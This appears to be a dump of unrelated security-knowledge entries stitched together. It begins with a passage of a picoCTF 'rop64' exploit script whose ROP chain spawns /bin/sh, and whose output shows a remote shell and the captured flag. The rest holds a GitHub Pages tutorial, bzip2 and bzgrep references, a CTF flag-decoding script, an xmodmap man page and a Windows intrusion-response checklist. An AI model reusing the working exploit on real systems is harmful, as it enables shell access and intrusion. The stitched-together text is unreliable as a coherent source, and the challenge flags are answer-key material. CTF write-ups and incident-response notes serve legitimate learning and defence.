It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(50, n = exe.bytes) send_payload(proc, payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {} ({}-byte architecture)".format(offset, exe.bytes)) return offset def get_rop(overflow_offset): # execve generated by ROPgadget # ROPgadget --binary ./vuln --ropchain --badbytes 0a p = '' p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004156f4) # pop rax ; ret p += '/bin//sh' p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x000000000047f561) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x0000000000400686) # pop rdi ; ret p += pack('<Q', 0x00000000006b90e0) # @ .data p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x00000000004499b5) # pop rdx ; ret p += pack('<Q', 0x00000000006b90e8) # @ .data + 8 p += pack('<Q', 0x0000000000444c50) # xor rax, rax ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x00000000004749c0) # add rax, 1 ; ret p += pack('<Q', 0x000000000047b6ff) # syscall return fit({overflow_offset: p}) overflow_offset = get_overflow_offset() io = start() payload = get_rop(overflow_offset) log.info("Sending payload: \n{}".format(hexdump(payload))) send_payload(io, payload) io.interactive() ``` Output: ```console root@kali:/media/sf_CTFs/pico/rop64# python exploit.py [*] '/media/sf_CTFs/pico/rop64/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [+] Connecting to 2019shell1.picoctf.com on port 22: Done [*] dvdalt@2019shell1.picoctf.com: Distro Ubuntu 18.04 OS: linux Arch: amd64 Version: 4.15.0 ASLR: Enabled [+] Opening new channel: 'pwd': Done [+] Receiving all data: Done (13B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/tmp/tmp.2pDYAyOQ8T' [+] Opening new channel: 'ln -s /home/dvdalt/* .': Done [+] Receiving all data: Done (0B) [*] Closed SSH channel with 2019shell1.picoctf.com [*] Working directory: '/problems/rop64_1_3a135066aff0c433faf93765baaa584d' [+] Starting local process '/media/sf_CTFs/pico/rop64/vuln': pid 1265 [*] Process '/media/sf_CTFs/pico/rop64/vuln' stopped with exit code -11 (SIGSEGV) (pid 1265) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/rop64/core.1265' Arch: amd64-64-little RIP: 0x400b6e RSP: 0x7ffefd4ec918 Exe: '/media/sf_CTFs/pico/rop64/vuln' (0x400000) Fault: 0x6161616161616164 [*] Overflow offset: 24 (8-byte architecture) [+] Starting remote process '/problems/rop64_1_3a135066aff0c433faf93765baaa584d/vuln' on 2019shell1.picoctf.com: pid 387 8739 [*] Sending payload: 00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61 │aaaa│baaa│caaa│daaa│ 00000010 65 61 61 61 66 61 61 61 d3 00 41 00 00 00 00 00 │eaaa│faaa│··A·│····│ 00000020 e0 90 6b 00 00 00 00 00 f4 56 41 00 00 00 00 00 │··k·│····│·VA·│····│ 00000030 2f 62 69 6e 2f 2f 73 68 61 f5 47 00 00 00 00 00 │/bin│//sh│a·G·│····│ 00000040 d3 00 41 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··A·│····│··k·│····│ 00000050 50 4c 44 00 00 00 00 00 61 f5 47 00 00 00 00 00 │PLD·│····│a·G·│····│ 00000060 86 06 40 00 00 00 00 00 e0 90 6b 00 00 00 00 00 │··@·│····│··k·│····│ 00000070 d3 00 41 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··A·│····│··k·│····│ 00000080 b5 99 44 00 00 00 00 00 e8 90 6b 00 00 00 00 00 │··D·│····│··k·│····│ 00000090 50 4c 44 00 00 00 00 00 c0 49 47 00 00 00 00 00 │PLD·│····│·IG·│····│ 000000a0 c0 49 47 00 00 00 00 00 c0 49 47 00 00 00 00 00 │·IG·│····│·IG·│····│ * 00000270 ff b6 47 00 00 00 00 00 │··G·│····││ 00000278 [*] Switching to interactive mode $ $ ls flag.txt vuln vuln.c $ $ cat flag.txt picoCTF{rOp_t0_b1n_sH_w1tH_n3w_g4dg3t5_7b18513b}$ $ [*] Interrupted ```
sec-knowleage
--- title: Github --- # Github Github.com 是程序员存放代码的一个网站。Github Pages 是 Github 提供的一项服务,可以免费的帮助我们托管网站。 ### 注册 Github 账号 点 github.com 首页的 Sign Up (注册)按钮,进行注册。 填写 username (用户名),小写英文字母加数字,不要用空格。 Email 这一项,必须填写真实有效的邮箱,不然注册不了 Choose your personal Plan ? 选择你的付费方案 - 免费版:无限使用权限,只能发布开源项目 - 收费版:允许发布闭源项目 邮箱中点链接之后,就可以自动跳转回 github.com 的页面上,同时显示 Your email was verified. 你的邮箱已经验证成功了。下一步就可以来创建项目了。 repository (仓库)这个词基本上等价于 project ,差别如下: repository = project + history ### 搭建 Github 网站 创建一个仓库,仓库的名字是有严格规定的, ``` username.github.io ``` 把 username 替换成自己的自己的用户名。例如我叫 l ,我要创建的仓库名就是 l552177239.github.io Description (optional) 项目描述(可选项) - Public: 开源项目 - Private:闭源项目 Initialize this repository with a README 初始化项目的时候,自动添加一个 README 文件,我们这里勾选上这一项。 到达项目页面后,现在来创建一个 index.html ,点 “Create A New File” 添加一些基本的 html 内容进 index.html ,然后点 “Commit New File” 进行保存。 注意:新添加的内容,不一定立刻能显示到 l552177239.github.io ,可能会有五六分钟的延迟。 ### 参考: - Github官网:[点击进入](https://github.com/)
sec-knowleage
bzgrep === 使用正则表达式搜索.bz2压缩包中文件 ## 补充说明 **bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。 ### 语法 ```shell bzgrep(参数) ``` ### 参数 * 搜索模式:指定要搜索的模式; * .bz2文件:指定要搜索的.bz2压缩包。
sec-knowleage
bzip2 === 将文件压缩成bz2格式 ## 补充说明 **bzip2命令** 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。 bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多,其性能接近 PPM 族统计类压缩软件。 命令行参数有意设计为非常接近 GNU gzip 的形式,但也不完全相同。 bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限, 如果可能的话,还具有相同的属主, 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中, 没有权限、 属主或时间的概念, 或者对文件名的长度有严格限制, 例如 MSDOS,在这种情况下,bzip2 没有保持原文件名、 属主、 权限以及时间的机制, 从这个意义上说,bzip2 对文件名的处理是幼稚的。 bzip2 和 bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件,要指定 -f 选项。 如果未指定文件名, bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下, bzip2 会拒绝将压缩结果写往终端,因为这完全无法理解并且是没有意义的。 bunzip2 (以及 bzip2 -d) 对所有指定的文件进行解压缩处理。不是由 bzip2 产生的文件将被忽略,同时发出一个警告信息。 bzip2 按下列方式由压缩文件名确定解压后的文件名: ```shell filename.bz2 解压成 filename filename.bz 解压成 filename filename.tbz2 解压成 filename.tar filename.tbz 解压成 filename.tar anyothername 解压成 anyothername.out ``` 如果文件名的后缀不是下列之一: .bz2, .bz, .tbz2 或 .tbz, .bzip2 将抱怨无法确定原始文件名,并采用原文件名加 .out 作为解压缩文件名。 在压缩时,如果不提供文件名,bzip2 将从标准输入读取数据,压缩结果写往标准输出。 bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的,因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。 返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。 ### 语法 ```shell bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ] ``` ### 选项 ```shell -c --stdout # 将数据压缩或解压缩至标准输出。 -d --decompress # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。 指定该选项后将不考虑这一机制,强制 bzip2 进行解压缩。 -z --compress # -d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。 -t --test # 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。 -f --force # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。 -k --keep # 在压缩或解压缩时保留输入文件(不删除这些文件)。 -s --small # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试,每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k # 的内存中进行解压缩, 尽管速度只有通常情况下的一半。 # 在压缩时,-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少), # 可对所有操作都采用-s选项。参见下面的内存管理。 -q --quiet # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。 -v --verbose # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。 -L --license -V --version # 显示软件版本,许可证条款及条件。 -1 to -9 # 在压缩时将块长度设为 100 k、200 k .. 900 k。 对解压缩没有影响。参见下面的内存管理。 -- # 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 -- -myfilename. --repetitive-fast --repetitive-best # 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中,这两个选项对排序算法的行为提供了一些粗糙的控制,有些情况下很有用。 0.9.5 # 及其以上版本采用了改进的算法而与这些选项无关。 ``` ### 参数 文件:指定要压缩的文件。 ### 实例 **压缩指定文件filename:** ```shell bzip2 filename 或 bzip2 -z filename ``` 这里,压缩的时候不会输出,会将原来的文件filename给删除,替换成filename.bz2.如果以前有filename.bz2则不会替换并提示错误(如果想要替换则指定-f选项,例如`bzip2 -f filename`;如果filename是目录则也提醒错误不做任何操作;如果filename已经是压过的了有bz2后缀就提醒一下,不再压缩,没有bz2后缀会再次压缩。 **解压指定的文件filename.bz2:** ```shell bzip2 -d filename.bz2 或 bunzip2 filename.bz2 ``` 这里,解压的时候没标准输出,会将原来的文件filename.bz2给替换成filename。如果以前有filename则不会替换并提示错误(如果想要替换则指定`-f`选项,例如`bzip2 -df filename.bz2`。 **压缩解压的时候将结果也输出:** ```shell $bzip2 -v filename ``` 输入之后,输出如下: ```shell filename: 0.119:1, 67.200 bits/byte, -740.00% saved, 5 in, 42 out. ``` 这里,加上`-v`选项就会输出了,只用压缩举例了,解压的时候同理`bzip2 -dv filename.bz2`不再举例了。 **模拟解压实际并不解压:** ```shell bzip2 -tv filename.bz2 ``` 输入之后,输出如下: ```shell filename.bz2: ok ``` 这里,`-t`指定要进行模拟解压,不实际生成结果,也就是说类似检查文件,当然就算目录下面有filename也不会有什么错误输出了,因为它根本不会真的解压文件。为了在屏幕上输出,这里加上`-v`选项了,如果是真的解压`bzip2 -dv filename.bz2`则输出的是把"ok"替换成了"done"。 **压缩解压的时候,除了生成结果文件,将原来的文件也保存:** ```shell bzip2 -k filename ``` 这里,加上`-k`就保存原始的文件了,否则原始文件会被结果文件替代。只用压缩举例了,解压的时候同理`$bzip2 -dk filename.bz2`不再举例了。 **解压到标准输出:** ```shell bzip2 -dc filename.bz2 ``` 输入之后,输出如下: ```shell hahahhaahahha ``` 这里,使用`-c`指定到标准输出,输出的是文件filename的内容,不会将filename.bz2删除。 **压缩到标准输出:** ```shell bzip2 -c filename bzip2: I won't write compressed data to a terminal. bzip2: For help, type: `bzip2 --help'. ``` 这里,使用`-c`指定压缩到标准输出不删除原有文件,不同的是,压缩后的文件无法输出到标准输出。 **使用bzip2的时候将所有后面的看作文件(即使文件名以'-'开头):** ```shell bzip2 -- -myfilename ``` 这里主要是为了防止文件名中`-`产生以为是选项的歧义。
sec-knowleage
import hashlib, binascii, struct, time def le(num): num=hex(num)[2:].strip("L") while len(num)<8: num="0"+num return int("".join([num[i*2:i*2+2] for i in range(4)][::-1]),16) def check(sm): sm^=0x1f9933d sm^=0xc7fffffa #print hex(sm) ll=le(sm) #print hex(ll) ll=hex(ll)[2:].strip("L") if len(ll)%2==1: ll="0"+ll txt=binascii.unhexlify(ll) m=int(hashlib.md5(txt).hexdigest()[:8], 16) #print hex(m) md=le(m) #print hex(md) md^=0x86f4fa3f return md==0x5bffffff, hashlib.md5(txt).hexdigest() found=None h=None for i in xrange(256*0x35): c=check(i) if c[0]: print i found=i h=c[1] print i, h h=binascii.unhexlify(h) values=[int(x,16) for x in open("values").readlines()] key="".join([struct.pack("<I",v) for v in values]) flag="" for k, c in zip(h*10, key): flag+=chr(ord(k)^ord(c)) print "And the flag is..." time.sleep(1) print flag
sec-knowleage
.\" $TOG: xmodmap.man /main/27 1997/04/02 09:22:54 kaleb $ .\" Copyright (c) 1988, 1989, 1990 X Consortium .\" Copyright 1987 Sun Microsystems, Inc. .\" .\" Permission is hereby granted, free of charge, to any person obtaining .\" a copy of this software and associated documentation files (the .\" "Software"), to deal in the Software without restriction, including .\" without limitation the rights to use, copy, modify, merge, publish, .\" distribute, sublicense, and/or sell copies of the Software, and to .\" permit persons to whom the Software is furnished to do so, subject to .\" the following conditions: .\" .\" The above copyright notice and this permission notice shall be included .\" in all copies or substantial portions of the Software. .\" .\" THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS .\" OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF .\" MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. .\" IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR .\" OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, .\" ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR .\" OTHER DEALINGS IN THE SOFTWARE. .\" .\" Except as contained in this notice, the name of the X Consortium shall .\" not be used in advertising or otherwise to promote the sale, use or .\" other dealings in this Software without prior written authorization .\" from the X Consortium. .\" $XFree86: xc/programs/xmodmap/xmodmap.man,v 1.1.1.3.2.2 1997/07/05 15:55:55 dawes Exp $ .de EX \"Begin example .ne 5 .if n .sp 1 .if t .sp .5 .nf .in +.5i .. .de EE .fi .in -.5i .if n .sp 1 .if t .sp .5 .. .TH XMODMAP 1 "Release 6.3" "X Version 11" .SH NAME xmodmap - 在 X 环境中调节键盘映射和鼠标键映射 .SH "总览 (SYNOPSIS)" .B xmodmap [-options ...] [filename] .SH "描述 (DESCRIPTION)" .PP \fIxmodmap\fP 用来 编辑 或 显示 键盘的 \fI修饰键映射(modifier map)\fP 和 \fI键盘映射表(keymap table)\fP, 客户程序 用 它们 把 键码(keycode) 事件 转换为 keysym. 通常 在 用户会话 的 启动脚本 中 使用 \fIxmodmap\fP, 把 键盘 配置成 用户 喜爱的 风格. .SH "选项 (OPTIONS)" .PP \fIxmodmap\fP 可以 使用 下列 选项: .TP 8 .B \-display \fIdisplay\fP 这个选项 指定 主机 和 显示器. .TP 8 .B \-help 这个选项 在 标准错误设备 显示 命令行参数 的 说明. 如果 出现了 无法识别 的 参数, .I xmodmap 也会 执行 这个 功能. .TP 8 .B \-grammar 这个选项 在 标准错误设备 显示 表达式 的 语法. 该语法 适用于 文件 或 \-e expression 选项. .TP 8 .B \-verbose 这个选项 要求 .I xmodmap 在 分析 输入数据 的 时候 显示 日志信息. .TP 8 .B \-quiet 这个选项 要求 关闭 verbose 日志信息. 这是 缺省选项. .TP 8 .B \-n 这个选项 不要求 .I xmodmap 真的改变 (键盘,鼠标) 映射, 而只是 显示出 它 可能 做什么, 如同 \fImake(1)\fP 的 相同 选项 一样. .TP 8 .B \-e \fIexpression\fB 这个选项 执行 一个 给定的 表达式. 命令行上 可以 指定 任何 数量 的 表达式. .TP 8 .B \-pm 这个选项 要求 在 标准输出设备 显示 当前的 修饰键(modifier)映射. .TP 8 .B \-pk 这个选项 要求 在 标准输出设备 显示 当前的 键盘映射表(keymap). .TP 8 .B \-pke 这个选项 要求 在 标准输出设备 显示 当前的 键盘映射表(keymap). 输出格式 能够 作为 \fIxmodmap\fP 的 输入. .TP 8 .B \-pp 这个选项 要求 在 标准输出设备 显示 当前的 鼠标(pointer)映射. .TP 8 .B \- 单独的 短横线(-) 说明 把 标准输入设备 作为 输入文件 使用. .PP \fIfilename\fP 指定 一个文件, 其中 包含 \fIxmodmap\fP 将要 执行的 表达式. 这个文件 通常 命名为 \fI.xmodmaprc\fP, 存放在 用户的 根目录下. .SH "语法 (EXPRESSION GRAMMAR)" .PP .I xmodmap 读入 一连串的 表达式, 在 执行 它们 以前, 对 所有 表达式 进行 分析. 这样 就可以 不用担心 重定义 的 keysym 出现 名字冲突. .TP 8 .B keycode \fINUMBER\fP = \fIKEYSYMNAME ...\fP 把 这一串 keysym 赋于 指定的 键码. (键码 可以是 十进制数, 十六进制数, 八进制数, 可以用 .I xev 程序 测出.) .TP 8 .B keycode any = \fIKEYSYMNAME ...\fP 如果 不存在 分配了 上述 keysym 序列 的 键, \fIxmodmap\fP 就 选择 键盘上 的 空闲键, 把 这些 keysym 分配 给 它. keysym 可以是 十进制数, 十六进制数 或者 八进制数. .TP 8 .B keysym \fIKEYSYMNAME\fP = \fIKEYSYMNAME ...\fP 左边的 \fIKEYSYMNAME\fP 翻译为 对应的 键码, 该键码 应用于 相应的 键码表达式集. 你 可以 在 头文件 \fI<X11/keysymdef.h>\fP 中 找到 keysym 的 名称列表 (去掉 \fIXK_\fP 前缀), 也可以 查 keysym 数据库 \fI<XRoot>/lib/X11/XKeysymDB\fP, 这里的 <XRoot> 指 X11 的 安装树. 注意, 如果 多个 键码 编联(bind)了 相同的 keysym, 那么 每个 对应的 键码 都要 执行 这个 表达式. .TP 8 .B clear \fIMODIFIERNAME\fP 删除 给定 修饰键 在 修饰键映射表 中 的 所有 表项, 修饰键 的 名字 有: .BR Shift , .BR Lock , .BR Control , .BR Mod1 , .BR Mod2 , .BR Mod3 , .BR Mod4 , 和 \fBMod5\fP (修饰键名字 不分 大小写, 但是 其他 名字 对 大小写 敏感). 例如, ``clear Lock'' 将 删除 所有 编联为 shift lock 的 键. .TP 8 .B add \fIMODIFIERNAME\fP = \fIKEYSYMNAME ...\fP 这条语句 把 所有 包含 给定 keysym 的 键 加入到 指定的 修饰键映射表 中. 读取完 全部 输入表达式 之后, xmodmap 才分析 这些 keysym, 这样 有利于 编写 一些 交换 键位 的 表达式. (见 EXAMPLES 节) .TP 8 .B remove \fIMODIFIERNAME\fP = \fIKEYSYMNAME ...\fP 这条语句 在 指定的 修饰键映射表 中 删除 所有 包含 指定 keysym 的 键. 和 .B add 不同, xmodmap 每 读取 一行 就 执行 一行. 这样 可以 避免 考虑 这些键 是否 被 重分配过. .TP 8 .B "pointer = default" 这条语句 把 鼠标映射 设置为 缺省值 (按键1 产生 代码1, 按键2 产生 代码2, 等等). .TP 8 .B pointer = \fINUMBER ...\fP 这条语句 把 鼠标映射 设置为 指定的 按键代码. 这个 代码列表 总是 从 第一个 按键 开始. .PP 注释行 以 感叹号(!) 开始. .PP 如果 你 打算 改变 某个 修饰键 的 编联, 你 必须 把它 从 相应的 修饰键映射表 中 同时 删除. .SH "示例 (EXAMPLE)" .PP 大多数 鼠标 设计成 右手 食指 按 第一个键, 左撇子 却觉得 如果 把 按键 代码 反过来, 使 左手 食指 按上 主键 会 更舒服些. 对于 三键鼠标 可以 这样: .EX % xmodmap -e "pointer = 3 2 1" .EE .PP 很多 应用程序 支持 Meta 键, 然而, 有些 服务器 的 键盘映射表 中 没有 提供 Meta keysym, 因此 需要 手工 添加. 下面的 命令 将把 Meta 附加到 Multi-language 键上 (有时也 称为 Compose Character). 另一个 有利方面 是, 需要 Meta 键 的 程序 只是要求 获得 键码, 不要求 keysym 位于 键盘映射表 的 第一列. 这 意味着 需要 Multi_key 的 程序 不会 发觉 有 任何 变化. .EX % xmodmap -e "keysym Multi_key = Multi_key Meta_L" .EE .PP 类似的, 有些 键盘 只有 Alt 键, 而没有 Meta 键. 这种情况下 可以 用: .EX % xmodmap -e "keysym Alt_L = Meta_L Alt_L" .EE .PP \fIxmodmap\fP 最简单, 也是 最合适的 用途 之一 是 设置 键盘的 "rubout" 键, 产生 替换的 keysym. 它 经常 用于 交换 Backspace 和 Delete 键. 如果 \fIxterm\fP 的 \fIttyModes\fP 资源 也 做了 同样的 设置, 所有的 终端模拟窗口 将 用 相同的键 删除 字符. .EX % xmodmap -e "keysym BackSpace = Delete" % echo "XTerm*ttyModes: erase ^?" | xrdb -merge .EE .PP 有些键盘 按下 shift 键 和 逗号, 句号键 时, 不能 产生 小于号 和 大于号. 这个现象 可以 通过 重新编联 逗号键 和 句号键 矫正: .EX ! ! make shift-, be < and shift-. be > ! keysym comma = comma less keysym period = period greater .EE .PP 键盘间 最烦人 的 区别 之一 就是 Control 和 Shift Lock 键 的 位置. \fIxmodmap\fP 的 一个 常用功能 就是 交换 这两个 键, 象这样: .EX ! ! Swap Caps_Lock and Control_L ! remove Lock = Caps_Lock remove Control = Control_L keysym Control_L = Caps_Lock keysym Caps_Lock = Control_L add Lock = Caps_Lock add Control = Control_L .EE .PP 如果 要 对 多个 键码 分配 同一个 keysym, 可以 使用 \fIkeycode\fP 命令. 尽管 这个做法 不能 移植, 但是 你可以 用它 写一段 脚本, 把 键盘 复位为 已知状态. 下面的 脚本 把 backspace 设为 Delete (如上所示), 清除 cap lock 的 编联, 把 CapsLock 设为 Control 键, F5 设为 Escape, Break/Reset 设为 shift lock. .EX ! ! On the HP, the following keycodes have key caps as listed: ! ! 101 Backspace ! 55 Caps ! 14 Ctrl ! 15 Break/Reset ! 86 Stop ! 89 F5 ! keycode 101 = Delete keycode 55 = Control_R clear Lock add Control = Control_R keycode 89 = Escape keycode 15 = Caps_Lock add Lock = Caps_Lock .EE .SH "环境变量 (ENVIRONMENT)" .PP .TP 8 .B DISPLAY 指示 缺省的 主机 和 显示器号. .SH "另见 (SEE ALSO)" X(1), xev(1), \fIXlib\fP 关于 键盘 和 鼠标 事件 的 文档. .SH BUGS .PP 服务器 每执行 一个 \fBkeycode\fP 表达式, 就要在 每一个 客户机 上 产生 一个 \fIMappingNotify\fP 事件. 这可能 导致 某些 异常情况. 所有的 改变 都应该 收集 在一起, 然后 一次 完成. 那些 接收了 键盘输入, 却 忽略了 \fIMappingNotify\fP 事件 的 客户机 将 无法 注意到 对 键盘映射 的 任何 改变. .PP 如果 编联了 某个 修饰键 的 键码 发生 变化, .I Xmodmap 将 自动 产生 "add" 和 "remove" 表达式. .PP 应该 有 某种办法, 当你 确实 搞乱了 键盘映射 的 时候, 使 .I remove 表达式 接受 键码 以及 keysym. .SH "作者 (AUTHOR)" Jim Fulton, MIT X 协会, 根据 David Rosenthal 在 Sun Microsystems 中 的 早期版本 改写. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2003/05/13 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
原文 by [先知社区](https://xianzhi.aliyun.com/forum/topic/1140/) ## 文件分析 1. 开机启动有无异常文件 2. 各个盘下的temp(tmp)相关目录下查看有无异常文件 3. 浏览器浏览痕迹、浏览器下载文件、浏览器cookie信息 4. 查看文件时间,创建时间、修改时间、访问时间。对应linux的ctime mtime atime,通过对文件右键属性即可看到详细的时间(也可以通过dir /tc 1.aspx 来查看创建时间),黑客通过菜刀类工具改变的是修改时间。所以如果修改时间在创建时间之前明显是可疑文件。 5. 查看用户recent相关文件,通过分析最近打开分析可疑文件 a) C:\Documents and Settings\Administrator\Recent b) C:\Documents and Settings\Default User\Recent c) 开始,运行 %UserProfile%\Recent 根据文件夹内文件列表时间进行排序,查找可疑文件。当然也可以搜索指定日期范围的文件及文件夹 Server 2008 R2系列 ![](../pictures/windowsintrude1.png) Win10 系列 ![](../pictures/windowsintrude2.png) 关键字匹配,通过确定后的入侵时间,以及webshell或js文件的关键字(比如博彩类),可以在IIS 日志中进行过滤匹配,比如经常使用: 1. 知道是上传目录,在web log 中查看指定时间范围包括上传文件夹的访问请求 `findstr /s /m /I “UploadFiles” *.log` 2. 某次博彩事件中的六合彩信息是six.js `findstr /s /m /I “six.js” *.aspx` 3. 根据shell名关键字去搜索D盘spy相关的文件有哪些 `for /r d:\ %i in (*spy*.aspx) do @echo %i` ## 进程命令 1. netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED 2. 根据netstat 定位出的pid,再通过tasklist命令进行进程定位 3. 通过tasklist命令查看可疑程序 ![](../pictures/windowsintrude3.png) ## 系统信息 1. 使用set命令查看变量的设置 2. Windows 的计划任务; 3. Windows 的帐号信息,如隐藏帐号等 4. 配套的注册表信息检索查看,SAM文件以及远控软件类 5. 查看systeminfo 信息,系统版本以及补丁信息 例如系统的远程命令执行漏洞MS08-067、MS09-001、MS17-010(永恒之蓝)… 若进行漏洞比对,建议使用Windows-Exploit-Suggester 